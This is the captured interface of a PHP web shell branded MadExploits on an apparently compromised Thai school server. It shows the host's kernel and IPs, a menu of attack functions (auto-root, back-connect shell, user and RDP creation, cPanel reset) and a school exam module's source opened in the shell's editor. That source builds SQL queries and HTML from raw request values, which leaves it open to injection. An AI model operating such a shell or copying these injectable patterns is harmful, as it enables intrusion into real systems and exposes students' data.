Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
bets /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
add_score.php
1.58
KB
-rw-r--r--
add_test.php
9.11
KB
-rwxr-xr-x
curriculum.php
7.97
KB
-rwxr-xr-x
curriculum_view.php
25.22
KB
-rwxr-xr-x
examination_set.php
320
B
-rwxr-xr-x
export_to_excel.php
4.24
KB
-rw-r--r--
frm_add_test.php
1.77
KB
-rwxr-xr-x
indicator.php
37.07
KB
-rwxr-xr-x
item_display.php
6.68
KB
-rw-r--r--
khet_paper_report_1.php
61.73
KB
-rw-r--r--
khet_paper_report_2.php
65.56
KB
-rw-r--r--
khet_report_1.php
27.49
KB
-rwxr-xr-x
khet_report_1_mobile.php
8.38
KB
-rwxr-xr-x
khet_report_2.php
68.18
KB
-rwxr-xr-x
level_log.php
1.6
KB
-rw-r--r--
level_record.php
17.37
KB
-rw-r--r--
level_report_1.php
38.07
KB
-rw-r--r--
level_report_2.php
35.32
KB
-rw-r--r--
level_report_3.php
22.22
KB
-rw-r--r--
level_report_4.php
16.65
KB
-rw-r--r--
level_test.php
22.99
KB
-rw-r--r--
livesearch.php
721
B
-rwxr-xr-x
livesearch2.php
729
B
-rw-r--r--
livesearch3.php
756
B
-rw-r--r--
livesearch4.php
727
B
-rw-r--r--
livesearch5.php
1.16
KB
-rw-r--r--
livesearch6.php
1.41
KB
-rw-r--r--
master_test_report.php
16.2
KB
-rw-r--r--
permission.php
11.69
KB
-rwxr-xr-x
print_check.php
3.52
KB
-rw-r--r--
return_ajax_indicator.php
1.64
KB
-rwxr-xr-x
return_ajax_standard.php
805
B
-rwxr-xr-x
return_ajax_substance.php
1.36
KB
-rwxr-xr-x
sch_paper_report_1.php
62.36
KB
-rw-r--r--
sch_report_1.php
65.87
KB
-rwxr-xr-x
sch_report_1_mobile.php
10.62
KB
-rwxr-xr-x
school_limit.php
13.09
KB
-rw-r--r--
standard.php
19.24
KB
-rwxr-xr-x
student_paper_report_1.php
17.6
KB
-rw-r--r--
student_report_1.php
25.54
KB
-rwxr-xr-x
student_report_1_mobile.php
5.51
KB
-rwxr-xr-x
substance.php
16.58
KB
-rwxr-xr-x
test_admin.php
46.87
KB
-rwxr-xr-x
test_admin2.php
6.86
KB
-rw-r--r--
test_admin3.php
11.27
KB
-rw-r--r--
test_admin_book.php
75.57
KB
-rw-r--r--
test_admin_book2.php
19.74
KB
-rw-r--r--
test_import.php
7.86
KB
-rw-r--r--
test_item.php
93.56
KB
-rwxr-xr-x
test_master.php
46.2
KB
-rwxr-xr-x
test_qc.php
15.46
KB
-rw-r--r--
test_qc_person.php
8.05
KB
-rw-r--r--
test_sch.php
6.1
KB
-rwxr-xr-x
test_sch_2.php
26.76
KB
-rwxr-xr-x
test_student.php
34.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_student.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); require_once("modules/bets/time_inc.php"); $officer=$_SESSION['login_user_id']; echo "<br />"; //ส่วนเพิ่มข้อมูล if($index==1){ echo "<form id='frm1' name='frm1'>"; $sql_test = "select * from bets_sch_test,bets_test where bets_sch_test.test_id=bets_test.id and bets_sch_test.id='$_GET[sch_test_id]'"; $dbquery_test = mysqli_query($connect,$sql_test); $result_test=mysqli_fetch_array($dbquery_test); echo "<table width='100%' border='0' align='center'>"; echo "<tr><td align='right' width='150'><Font color='#006666'>ชื่อการสอบ :</Font></td><td align='left'> $result_test[sch_test_name]</td></tr>"; echo "<tr><td align='right'><Font color='#006666'>จำนวนข้อสอบ :</Font></td><td align='left'> $result_test[item_num] ข้อ</td></tr>"; echo "<tr><td align='right'><Font color='#006666'>คะแนนเต็ม :</Font></td><td align='left'> $result_test[test_score] คะแนน</td></tr>"; echo "<tr><td align='right'><Font color='#006666'>เวลาสอบ :</Font></td><td align='left'> $result_test[test_time] นาที</td></tr>"; echo "<tr><td align='right'><Font color='#006666'>คำชี้แจง :</Font></td><td align='left'> $result_test[statement]</td></tr>"; echo "</table>"; echo "<br>"; echo "<hr>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>กรอกรหัสการสอบ</B></Font>"; echo "</Cener>"; echo "<Br>"; echo "<Table width='100%' Border='0' align='center'>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'><b>รหัสการสอบ</b> </Td><Td><Input Type='Text' Name='sch_test_code' Size='10'></Td></Tr>"; echo "<Br>"; echo "</Table>"; echo "<input type='hidden' name='sch_test_id' value='$_GET[sch_test_id]'>"; echo "<INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url(1)'>"; echo "</form>"; } //จบการสอบ if($index==2){ $sql = "update bets_schtest_testuser set stop_test='1' where school='$_SESSION[user_school]' and sch_test_id='$_SESSION[bets_sch_test_id]' and person_id='$_SESSION[login_user_id]' "; $dbquery = mysqli_query($connect,$sql); // เชื่อมdatabase ชื่อ amssplus_bets ///////// $user_db=$user; if(isset($amssplus_bets)){ $amssplus_bets=$amssplus_bets; } else{ $amssplus_bets="amssplus_bets"; } $connect_bets=@mysqli_connect($hostname,$user_db,$password,$amssplus_bets); if($connect_bets){ mysqli_query($connect_bets,"SET NAMES utf8"); } ///////// //end //ปีการศึกษา $sql = "select * from student_main_edyear where year_active='1' order by ed_year desc limit 1"; $dbquery = mysqli_query($connect,$sql); $year_active_result = mysqli_fetch_array($dbquery); if($year_active_result['ed_year']!=""){ $ed_year=$year_active_result['ed_year']; } else{ $ed_year=""; } ///////////// รายงานผล $_GET['sch_test_id']=$_SESSION['bets_sch_test_id']; $person_id=$_SESSION['login_user_id']; $sql = "select * from bets_sch_test where id='$_GET[sch_test_id]'"; $dbquery_name = mysqli_query($connect,$sql); $result_name = mysqli_fetch_array($dbquery_name); $sql = "select * from student_main_main where person_id='$person_id' order by id desc limit 0,1"; $dbquery_student = mysqli_query($connect,$sql); $result_student = mysqli_fetch_array($dbquery_student); echo "<table width='100%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>รายงานผลการสอบ</strong></font></td></tr>"; echo "<tr align='center'><td><font color='#006666' size='2'><strong>$result_name[sch_test_name]</strong></font></td></tr>"; echo "<tr align='center'><td><font color='#006666' size='2'><strong>$result_student[prename]$result_student[name] $result_student[surname]</strong></font></td></tr>"; echo "</table>"; // หากลุ่มสาระ $sql = "select * from bets_test left join bets_group on bets_test.s_group=bets_group.group_code where bets_test.id='$result_name[test_id]' "; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $g1=$result['g1']; $g2=$result['g2']; //กำหนดtable ของ bets2 $table_main=""; $table_expand=""; if($connect_bets){ if($result['s_group']=='255101'){ $table_main='thai'; } else if($result['s_group']=='255102'){ $table_main='math'; } else if($result['s_group']=='255103'){ $table_main='science'; } else if($result['s_group']=='255104'){ $table_main='social'; } else if($result['s_group']=='255108'){ if($result['other_subject']==1){ $table_main='english2'; } else{ $table_main='english'; } } $table_expand=$table_main."_expand_".$result['level']; } // หาคะแนนเต็ม $sql_full_score = "select sum(item_score) as full_score from bets_answer where sch_test_id='$_GET[sch_test_id]' and school='$_SESSION[user_school]' and person_id='$person_id' "; $dbquery_full_score = mysqli_query($connect,$sql_full_score); $result_full_score = mysqli_fetch_array($dbquery_full_score); $full_score=$result_full_score['full_score']; //หาคะแนนที่ได้ $sql_right = "select sum(score) as score from bets_answer where sch_test_id='$_GET[sch_test_id]' and school='$_SESSION[user_school]' and person_id='$person_id' "; $dbquery_right = mysqli_query($connect,$sql_right ); $result_score = mysqli_fetch_array($dbquery_right); $total_right=$result_score['score']; $total_percent=""; if($full_score!=0){ $total_percent=($total_right/$full_score)*100; $total_percent=number_format($total_percent,2); //บันทึก Profile คะแนนรวม Level if($connect_bets){ $rec_date = date("Y-m-d"); if(@$result['level_active']==1 and $result['level']!=0){ $sql_level = "select * from $table_main where person_id='$person_id' and level='$result[level]' "; $dbquery_level = mysqli_query($connect_bets,$sql_level); $result_level = mysqli_fetch_array($dbquery_level); if($result_level){ $time_no=$result_level['time_no']+1; $sql_update = "update $table_main set school_code='$_SESSION[user_school]',ed_year='$ed_year',score='$total_percent',time_no='$time_no',rec_date='$rec_date' where person_id='$person_id' and level='$result[level]'"; $dbquery_update = mysqli_query($connect_bets,$sql_update); } else{ $sql_insert_1 = "insert into $table_main(ed_year,school_code,person_id,group_code,level,score,time_no,rec_date) values ('$ed_year','$_SESSION[user_school]','$person_id','$result[group_code]','$result[level]','$total_percent','1','$rec_date')"; $dbquery_insert = mysqli_query($connect_bets,$sql_insert_1); } //ลบข้อมูลคะแนนรายตัวชี้วัด if($result_level['time_no']>0){ $sql_del = "delete from $table_expand where person_id='$person_id' and level='$result[level]'"; $dbquery_del = mysqli_query($connect_bets,$sql_del); } } } //End Profile } //หาจำนวนข้อ $sql_item = "select id from bets_answer where sch_test_id='$_GET[sch_test_id]' and school='$_SESSION[user_school]' and person_id='$person_id' "; $dbquery_item = mysqli_query($connect,$sql_item); $item_num=mysqli_num_rows($dbquery_item); echo "<Table width='100%' Border='0' align='center'>"; echo "<tr align='center' bgcolor='#FBD562'><td width='150'><b>กลุ่มสาระ</b></td><td width='150'><b>สาระ</b></td><td width='70'><b>มาตรฐาน</b></td><td width='350'><b>ตัวชี้วัด</b></td><td width='80'><b>ร้อยละ</b></td><td width='80'><b>ประเมินผล</b></td></tr>"; echo "<tr bgcolor='#CCFF66'><td colspan='4'><b>กลุ่มสาระ$result[group_name] ข้อสอบ(ที่ทำ) : $item_num ข้อ</b></td><td width='100' align='center'><b>$total_percent [$total_right/$full_score]</b></td><td width='100' align='center'>"; // if($total_percent<=$g2){ $bgcolor="#FF0000"; } else if($total_percent>$g2 and $total_percent<$g1){ $bgcolor="#FFFF00"; } else if($total_percent>=$g1){ $bgcolor="#66FF00"; } else{ $bgcolor="#FFFFFF"; } echo "<table border='0' cellspacing='0' cellpadding='0' width='20' height='15'>"; echo "<tr><td bgcolor='$bgcolor'></td></tr>"; echo "</table>"; // echo "</td></tr>"; // $sql_2 = "select * from bets_substance where group_code='$result[group_code]' order by id "; $dbquery_2 = mysqli_query($connect,$sql_2); while($result_2 = mysqli_fetch_array($dbquery_2)){ //หาคะแนนสาระ $substance_percent=""; $sql_2_1 = "select sum(item_score) as full_score from bets_answer,bets_item,bets_indicator,bets_standard,bets_substance where bets_answer.item_id=bets_item.id and bets_item.indicator_code=bets_indicator.indicator_code and bets_indicator.standard_code=bets_standard.standard_code and bets_standard.substance_code=bets_substance.substance_code and bets_answer.sch_test_id='$_GET[sch_test_id]' and bets_answer.school='$_SESSION[user_school]' and bets_substance.substance_code='$result_2[substance_code]' and person_id='$person_id' "; $dbquery_2_1 = mysqli_query($connect,$sql_2_1); $result_2_1 = mysqli_fetch_array($dbquery_2_1); $substance_total=$result_2_1['full_score']; $sql_2_2 = "select sum(score) as score from bets_answer,bets_item,bets_indicator,bets_standard,bets_substance where bets_answer.item_id=bets_item.id and bets_item.indicator_code=bets_indicator.indicator_code and bets_indicator.standard_code=bets_standard.standard_code and bets_standard.substance_code=bets_substance.substance_code and bets_answer.sch_test_id='$_GET[sch_test_id]' and bets_answer.school='$_SESSION[user_school]' and bets_substance.substance_code='$result_2[substance_code]' and person_id='$person_id' "; $dbquery_2_2 = mysqli_query($connect,$sql_2_2); $result_2_2 = mysqli_fetch_array($dbquery_2_2); $substance_right=$result_2_2['score']; if($substance_total!=0){ $substance_percent=($substance_right/$substance_total)*100; $substance_percent=number_format($substance_percent,2); } // echo "<tr bgcolor='#66FFFF'><td></td><td colspan='3'><b>สาระ$result_2[substance_name]</b></td><td align='center'>$substance_percent "; if($substance_percent!=""){ echo "[$substance_right/$substance_total]"; } echo "</td><td align='center'>"; // if($substance_percent<=$g2){ $bgcolor="#FF0000"; } else if($substance_percent>$g2 and $substance_percent<$g1){ $bgcolor="#FFFF00"; } else if($substance_percent>=$g1){ $bgcolor="#66FF00"; } else{ $bgcolor="#FFFFFF"; } if($substance_percent!=""){ echo "<table border='0' cellspacing='0' cellpadding='0' width='13' height='13'>"; echo "<tr><td bgcolor='$bgcolor'></td></tr>"; echo "</table>"; } // echo "</td></tr>"; $sql_3 = "select * from bets_standard where substance_code='$result_2[substance_code]' order by id "; $dbquery_3 = mysqli_query($connect,$sql_3); while($result_3 = mysqli_fetch_array($dbquery_3)){ // //หาคะแนนมาตรฐาน $standard_percent=""; $sql_3_1 = "select sum(item_score) as full_score from bets_answer,bets_item,bets_indicator,bets_standard where bets_answer.item_id=bets_item.id and bets_item.indicator_code=bets_indicator.indicator_code and bets_indicator.standard_code=bets_standard.standard_code and bets_answer.sch_test_id='$_GET[sch_test_id]' and bets_answer.school='$_SESSION[user_school]' and bets_standard.standard_code='$result_3[standard_code]' and person_id='$person_id' "; $dbquery_3_1 = mysqli_query($connect,$sql_3_1); $result_3_1 = mysqli_fetch_array($dbquery_3_1); $standard_total=$result_3_1['full_score']; $sql_3_2 = "select sum(score) as score from bets_answer,bets_item,bets_indicator,bets_standard where bets_answer.item_id=bets_item.id and bets_item.indicator_code=bets_indicator.indicator_code and bets_indicator.standard_code=bets_standard.standard_code and bets_answer.sch_test_id='$_GET[sch_test_id]' and bets_answer.school='$_SESSION[user_school]' and bets_standard.standard_code='$result_3[standard_code]' and person_id='$person_id' "; $dbquery_3_2 = mysqli_query($connect,$sql_3_2); $result_3_2 = mysqli_fetch_array($dbquery_3_2); $standard_right=$result_3_2['score']; if($standard_total!=0){ $standard_percent=($standard_right/$standard_total)*100; $standard_percent=number_format($standard_percent,2); } // echo "<tr bgcolor='#FFCCCC'><td></td><td></td><td colspan='2'><b>มาตรฐาน $result_3[short_name]</b> $result_3[standard_text]</td><td align='center'>$standard_percent "; if($standard_percent!=""){ echo "[$standard_right/$standard_total]"; } echo "</td><td align='center'>"; // if($standard_percent<=$g2){ $bgcolor="#FF0000"; } else if($standard_percent>$g2 and $standard_percent<$g1){ $bgcolor="#FFFF00"; } else if($standard_percent>=$g1){ $bgcolor="#66FF00"; } else{ $bgcolor="#FFFFFF"; } if($standard_percent!=""){ echo "<table border='0' cellspacing='0' cellpadding='0' width='13' height='13'>"; echo "<tr><td bgcolor='$bgcolor'></td></tr>"; echo "</table>"; } // echo "</td></tr>"; $class_room=$result['class_room']-3; //แปลงรหัสห้อง $sql_4 = "select * from bets_indicator where standard_code='$result_3[standard_code]' and class_code='$class_room' order by id "; $dbquery_4 = mysqli_query($connect,$sql_4); $M=1; while($result_4 = mysqli_fetch_array($dbquery_4)){ //หาคะแนนตัวชี้วัด $indicator_percent=""; $sql_4_1 = "select sum(item_score) as full_score from bets_answer,bets_item,bets_indicator where bets_answer.item_id=bets_item.id and bets_item.indicator_code=bets_indicator.indicator_code and bets_answer.sch_test_id='$_GET[sch_test_id]' and bets_answer.school='$_SESSION[user_school]' and bets_indicator.indicator_code='$result_4[indicator_code]' and person_id='$person_id' "; $dbquery_4_1 = mysqli_query($connect,$sql_4_1); $result_4_1 = mysqli_fetch_array($dbquery_4_1); $indicator_total=$result_4_1['full_score']; $sql_4_2 = "select sum(score) as score from bets_answer,bets_item,bets_indicator where bets_answer.item_id=bets_item.id and bets_item.indicator_code=bets_indicator.indicator_code and bets_answer.sch_test_id='$_GET[sch_test_id]' and bets_answer.school='$_SESSION[user_school]' and bets_indicator.indicator_code='$result_4[indicator_code]' and person_id='$person_id' "; $dbquery_4_2 = mysqli_query($connect,$sql_4_2); $result_4_2 = mysqli_fetch_array($dbquery_4_2); $indicator_right=$result_4_2['score']; if($indicator_total!=0){ $indicator_percent=($indicator_right/$indicator_total)*100; $indicator_percent=number_format($indicator_percent,2); //บันทึกProfile คะแนนตัวชี้วัด if($connect_bets){ $rec_date = date("Y-m-d"); if(@$result['level_active']==1 and $result['level']!=0){ $sql_insert_2 = "insert into $table_expand(person_id,indicator,level,score,rec_date) values ('$person_id','$result_4[indicator_code]','$result[level]','$indicator_percent','$rec_date')"; $dbquery_insert_2 = mysqli_query($connect_bets,$sql_insert_2); } } //End Profile } // if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; $indicator_text=substr($result_4['indicator_text'],0,150); echo "<tr><td></td><td></td><td></td><td bgcolor=$color><b>ตัวชี้วัด</b> $result_4[indicator_text]</td><td bgcolor=$color align='center'>$indicator_percent "; if($indicator_percent!=""){ echo "[$indicator_right/$indicator_total]"; } echo "</td><td bgcolor=$color align='center'>"; // if($indicator_percent<=$g2){ $bgcolor="#FF0000"; } else if($indicator_percent>$g2 and $indicator_percent<$g1){ $bgcolor="#FFFF00"; } else if($indicator_percent>=$g1){ $bgcolor="#66FF00"; } else{ $bgcolor="#FFFFFF"; } if($indicator_percent!=""){ echo "<table border='0' cellspacing='0' cellpadding='0' width='13' height='13'>"; echo "<tr><td bgcolor='$bgcolor'></td></tr>"; echo "</table>"; } // echo "</td></tr>"; $M++; } } } // echo "</table>"; echo "<hr>"; echo "<div align='left'>"; echo " <b>คำอธิบาย</b> สีเขียวค่าคะแนนมากกว่าหรือเท่ากับร้อยละ $g1 สีเหลืองมากกว่าร้อยละ $g2 แต่น้อยกว่าร้อยละ $g1 สีแดงน้อยกว่าหรือเท่ากับร้อยละ $g2 "; echo "</div>"; ////////////////////////// unset($_SESSION['bets_sch_test_id']); unset($_SESSION['bets_test_id']); unset($_SESSION['bets_master_test']); unset($_SESSION['bets_item_num']); if($connect_bets){ mysqli_close($connect_bets); } } //ส่วนเพิ่มข้อมูล if($index==4){ $sql_right_answer = "select right_answer from bets_item where id='$_POST[item_id]'"; $dbquery_right_answer = mysqli_query($connect,$sql_right_answer); $result_right_answer=mysqli_fetch_array($dbquery_right_answer); $right_answer=$result_right_answer['right_answer']; $rec_date = date("Y-m-d H:i:s"); if($_POST['answer']==$right_answer){ $score=$_POST['item_score']; } else{ $score=0; } $sql = "select * from bets_answer where school='$_SESSION[user_school]' and test_id='$_SESSION[bets_test_id]' and sch_test_id='$_SESSION[bets_sch_test_id]' and person_id='$_SESSION[login_user_id]' and item_id='$_POST[item_id]' "; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); if($result){ $sql_2 = "update bets_answer set answer='$_POST[answer]',score='$score',rec_date='$rec_date' where id='$result[id]'"; $dbquery_2 = mysqli_query($connect,$sql_2); } else{ if(isset($_POST['item_id'])){ $sql_insert = "insert into bets_answer(school,test_id,sch_test_id,person_id,item_id,answer,score,item_score,rec_date) values ( '$_SESSION[user_school]','$_SESSION[bets_test_id]','$_SESSION[bets_sch_test_id]','$_SESSION[login_user_id]','$_POST[item_id]','$_POST[answer]','$score','$_POST[item_score]','$rec_date')"; $dbquery_insert = mysqli_query($connect,$sql_insert); } } $index=8; } if($index==7){ $sql_test = "select * from bets_sch_test,bets_test where bets_sch_test.test_id=bets_test.id and bets_sch_test.id='$_POST[sch_test_id]'"; $dbquery_test = mysqli_query($connect,$sql_test); $result_test=mysqli_fetch_array($dbquery_test); if($_POST['sch_test_code']==$result_test['sch_test_code']){ $_SESSION['bets_sch_test_id']=$_POST['sch_test_id']; $_SESSION['bets_test_id']=$result_test['test_id']; $_SESSION['bets_master_test']=$result_test['master_test']; $_SESSION['bets_item_num']=$result_test['item_num']; } else{ echo "<script>alert('รหัสการสอบไม่ถูกต้อง');</script>\n"; echo "<script>document.location.href='?option=bets&task=main/test_student&index=1&sch_test_id=$_POST[sch_test_id]';</script>\n"; } $index=8; } //แสดงข้อสอบ if($index==8){ echo "<form id='frm1' name='frm1'>"; if(isset($_POST['item_display_index'])){ $item_display=$_POST['item_display_index']+1; } else if(isset($_REQUEST['page'])){ $item_display=$_REQUEST['page']-1; } else{ $item_display=0; } if($item_display==$_SESSION['bets_item_num']){ $item_display=0; } $_REQUEST['page']=$item_display+1; $pagelen=1; // กำหนดแถวต่อหน้า $url_link="option=bets&task=main/test_student&index=8"; $totalpages=$_SESSION['bets_item_num']; if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=1; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if($_SESSION['user_os']=='mobile'){ if(($totalpages>1) and ($totalpages<6)){ echo "<div align=center>"; echo "ข้อที่ "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>5){ if($page <=3){ $e_page=5; $s_page=1; } if($page>3){ if($totalpages-$page>=2){ $e_page=$page+2; $s_page=$page-2; } else{ $e_page=$totalpages; $s_page=$totalpages-5; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>ข้อแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>ข้อก่อน </a>"; } else { echo "ข้อที่ "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> ข้อถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> ข้อสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">ข้อที่</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } } else{ if(($totalpages>1) and ($totalpages<16)){ echo "<div align=center>"; echo "ข้อที่ "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>15){ if($page <=8){ $e_page=15; $s_page=1; } if($page>8){ if($totalpages-$page>=7){ $e_page=$page+7; $s_page=$page-7; } else{ $e_page=$totalpages; $s_page=$totalpages-15; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>ข้อแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>ข้อก่อน </a>"; } else { echo "ข้อที่ "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> ข้อถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> ข้อสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">ข้อที่</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } } //จบแยกหน้า echo "<hr>"; $sql_test = "select *,bets_item.id from bets_sch_test,bets_test,bets_master_test,bets_master_test_2,bets_item where bets_sch_test.test_id=bets_test.id and bets_test.master_test=bets_master_test.id and bets_master_test.id=bets_master_test_2.master_test_id and bets_master_test_2.item_id=bets_item.id and bets_master_test_2.master_test_id='$_SESSION[bets_master_test]' and bets_sch_test.sch_test_active='1' and bets_sch_test.school='$_SESSION[user_school]' and bets_sch_test.id='$_SESSION[bets_sch_test_id]' order by bets_master_test_2.item_order,bets_master_test_2.id limit $item_display,1"; $dbquery_test = mysqli_query($connect,$sql_test); $result = mysqli_fetch_array($dbquery_test); //sound if(($result['media_item']!="") or ($result['doc_item']!="")){ ?> <link rel="stylesheet" href="./jquery/themes/ui-lightness/jquery.ui.all.css"> <script src="./jquery/jquery-1.5.1.js"></script> <script src="./jquery/external/jquery.bgiframe-2.1.2.js"></script> <script src="./jquery/ui/jquery.ui.core.js"></script> <script src="./jquery/ui/jquery.ui.widget.js"></script> <script src="./jquery/ui/jquery.ui.mouse.js"></script> <script src="./jquery/ui/jquery.ui.draggable.js"></script> <script src="./jquery/ui/jquery.ui.position.js"></script> <script src="./jquery/ui/jquery.ui.resizable.js"></script> <script src="./jquery/ui/jquery.ui.dialog.js"></script> <?php if($_SESSION['user_os']=='mobile'){ ?> <script> // increase the default animation speed to exaggerate the effect $.fx.speeds._default = 300; $(function() { $( "#dialog" ).dialog({ height: 270, width: 375, minHeight: 255, minWidth: 285, autoOpen: false, show: "blind", hide: "explode", modal: true, resizable: false}); $( "#opener" ).click(function() { $( "#dialog" ).dialog( "open" ); return false; }); }); </script> <?php } else{ ?> <script> // increase the default animation speed to exaggerate the effect $.fx.speeds._default = 300; $(function() { $( "#dialog" ).dialog({ height: 400, width: 500, minHeight: 460, minWidth: 380, autoOpen: false, show: "blind", hide: "explode", modal: true, resizable: false}); $( "#opener" ).click(function() { $( "#dialog" ).dialog( "open" ); return false; }); }); </script> <?php } ?> <?php echo "<table width='30%' border='0' align='center'>"; echo "<tr><td align='center'>"; if($result['media_item']!=""){ $media_type=substr("$result[media_item]", -3); if($media_type=="mp3"){ $media_pic="sound_pic.png"; } else if($media_type=="mp4"){ $media_pic="video.jpg"; } else{ $media_pic="sound_pic.png"; } echo "<a id='opener' href='#'><img src=./modules/bets/images/$media_pic border='0'></a>"; } if($result['doc_item']!=""){ ?> <A HREF="javascript:void(0)" onclick="window.open('<?php echo $result['doc_item'];?>','','width=900,height=650,scrollbars')" title="เอกสาร"><span style="text-decoration: none"><img src=./modules/bets/images/book.png border='0'></span></A> <?php } echo "</td></tr>"; echo "</table>"; ?> <div id="dialog" title="เสียง/วิดิโอ"> <?php if($result['media_item']!=""){ if($_SESSION['user_os']=='mobile'){ echo "<table border='0' align='center'>"; echo "<tr><td align='center'><embed src='$result[media_item]' autoplay='true' width='300' height='200'></embed></td></tr>"; echo "</table>"; } else{ echo "<table width='30%' border='0' align='center'>"; echo "<tr><td align='center'><embed src='$result[media_item]' autoplay='false' width='400' height='300'></embed></td></tr>"; echo "</table>"; } } ?> </div> <?php } //end sound if($result['item_type']==1){ echo "<table width='75%' border='0' align='center'>"; echo "<tr></td><td align='center'>"; $ori_size=getimagesize($result['pic_item']); $ori_w=$ori_size[0]; if($ori_w>700){ echo "<img src='$result[pic_item]' border='0' width='700'>"; } else{ echo "<img src='$result[pic_item]' border='0'>"; } echo "</td></tr>"; echo "</table>"; } if($result['item_type']==2){ echo "<table width='75%' border='0' align='center'>"; echo "<tr><td align='right' width='100'><font size='4' color='#000066'><b>คำถาม :</b></font></td><td><font size='3'>$result[question]</font></td></tr>"; if($result['answer_num']>=1){ echo "<tr><td align='right'><font size='3' color='#000066'><b>1. </b></font></td><td><font size='3'>$result[answer1]</font></td></tr>"; } if($result['answer_num']>=2){ echo "<tr><td align='right'><font size='3' color='#000066'><b>2. </b></font></td><td><font size='3'>$result[answer2]</font></td></tr>"; } if($result['answer_num']>=3){ echo "<tr><td align='right'><font size='3' color='#000066'><b>3. </b></font></td><td><font size='3'>$result[answer3]</font></td></tr>"; } if($result['answer_num']>=4){ echo "<tr><td align='right'><font size='3' color='#000066'><b>4. </b></font></td><td><font size='3'>$result[answer4]</font></td></tr>"; } if($result['answer_num']==5){ echo "<tr><td align='right'><font size='3' color='#000066'><b>5. </b></font></td><td><font size='3'>$result[answer5]</font></td></tr>"; } echo "</table>"; } echo "<Input Type=Hidden Name='item_display_index' Value='$item_display'>"; echo "<Input Type=Hidden Name='item_id' Value='$result[id]'>"; echo "<Input Type=Hidden Name='item_score' Value='$result[score]'>"; echo "<hr>"; // หาตัวเลือกข้อที่ทำแล้ว $sql_check = "select * from bets_answer where school='$_SESSION[user_school]' and sch_test_id='$_SESSION[bets_sch_test_id]' and person_id='$_SESSION[login_user_id]' and item_id='$result[id]' "; $dbquery_check = mysqli_query($connect,$sql_check); $result_check = mysqli_fetch_array($dbquery_check); $check1=""; $check2=""; $check3=""; $check4=""; $check5=""; if($result_check['answer']==1){ $check1="checked"; } else if($result_check['answer']==2){ $check2="checked"; } else if($result_check['answer']==3){ $check3="checked"; } else if($result_check['answer']==4){ $check4="checked"; } else if($result_check['answer']==5){ $check5="checked"; } // // หาจำนวนข้อสอบที่ทำแล้ว $sql_check_2= "select * from bets_answer where school='$_SESSION[user_school]' and sch_test_id='$_SESSION[bets_sch_test_id]' and person_id='$_SESSION[login_user_id]' "; $dbquery_check_2 = mysqli_query($connect,$sql_check_2); $finish_item= mysqli_num_rows($dbquery_check_2); if($finish_item>=$_SESSION['bets_item_num']){ echo "<div align='center'>"; echo "<a href=?option=bets&task=main/test_student&index=2>เมื่อเสร็จสิ้นการสอบ (ให้คลิก)</a>"; echo "</div>"; } echo "<div align='right'>"; echo "ทำแล้ว $finish_item ข้อ จากทั้งหมด $_SESSION[bets_item_num] ข้อ"; echo " "; echo "</div>"; echo "<hr>"; // echo "<table width='80%' border='0' align='center'>"; echo "<tr><td align='center'>"; 